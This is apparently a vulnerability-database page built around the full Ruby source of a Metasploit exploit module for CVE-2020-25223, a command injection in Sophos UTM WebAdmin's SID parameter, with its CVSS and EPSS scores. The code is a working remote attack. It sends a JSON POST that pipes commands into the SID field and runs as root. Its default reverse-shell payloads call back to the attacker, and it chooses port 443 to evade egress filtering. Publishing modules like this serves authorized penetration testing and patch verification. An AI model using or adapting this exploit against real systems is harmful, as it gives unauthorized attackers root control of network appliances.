Lucene search

K
metasploitJustin Kennedy, wvu <[email protected]>MSF:EXPLOIT-LINUX-HTTP-SOPHOS_UTM_WEBADMIN_SID_CMD_INJECTION-
HistoryOct 28, 2021 - 12:31 a.m.

Sophos UTM WebAdmin SID Command Injection

2021-10-2800:31:03
Justin Kennedy, wvu <[email protected]>
www.rapid7.com
52

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

This module exploits an SID-based command injection in Sophos UTM’s WebAdmin interface to execute shell commands as the root user.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sophos UTM WebAdmin SID Command Injection',
        'Description' => %q{
          This module exploits an SID-based command injection in Sophos UTM's
          WebAdmin interface to execute shell commands as the root user.
        },
        'Author' => [
          # Discovered by unknown researcher(s)
          'Justin Kennedy', # Analysis and PoC
          'wvu' # Supplementary analysis and exploit
        ],
        'References' => [
          ['CVE', '2020-25223'],
          ['URL', 'https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce'],
          ['URL', 'https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223'],
          ['URL', 'https://attackerkb.com/assessments/d6e0dff3-dd46-4f19-831d-c3f3f2fa972a']
        ],
        'DisclosureDate' => '2020-09-18',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_perl_ssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 4444,
          'LPORT' => 443, # XXX: Bypass Sophos UTM's egress filtering
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [FIRST_ATTEMPT_FAIL],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    sleep_time = rand(5..10)

    injected, elapsed_time = Rex::Stopwatch.elapsed_time do
      inject_cmd("sleep #{sleep_time}", timeout: sleep_time * 1.5)
    end

    return CheckCode::Unknown if injected.nil?

    vprint_status("Elapsed time: #{elapsed_time} seconds")

    # injected == false
    unless injected && elapsed_time > sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    # injected == true
    CheckCode::Appears('Successfully tested command injection.')
  end

  def exploit
    unless datastore['LPORT'] == 443
      print_warning('LPORT=443 is recommended to bypass egress filtering')
    end

    print_status("Executing #{payload_instance.refname} (#{target.name})")

    case target['Type']
    when :cmd
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    # nil or true on success
    if inject_cmd(cmd) == false
      fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
    end
  end

  def inject_cmd(cmd, timeout: 3.5)
    vprint_status("Injecting command: #{cmd}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'var'),
      'ctype' => 'application/json; charset=UTF-8', # NOTE: charset is required
      'data' => {
        'SID' => "|#{cmd}|" # https://perldoc.perl.org/functions/open#Opening-a-filehandle-into-a-command
      }.to_json
    }, timeout)

    return unless res
    return false unless res.code == 200 && res.body.include?(alert_msg)

    true
  end

  def alert_msg
    # {"RID":"","objs":[{"js":"json_abort(true);"},{"alert":"Backend connection failed, please click Shift-Reload to try again."}]}
    'Backend connection failed, please click Shift-Reload to try again.'
  end

end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

Related for MSF:EXPLOIT-LINUX-HTTP-SOPHOS_UTM_WEBADMIN_SID_CMD_INJECTION-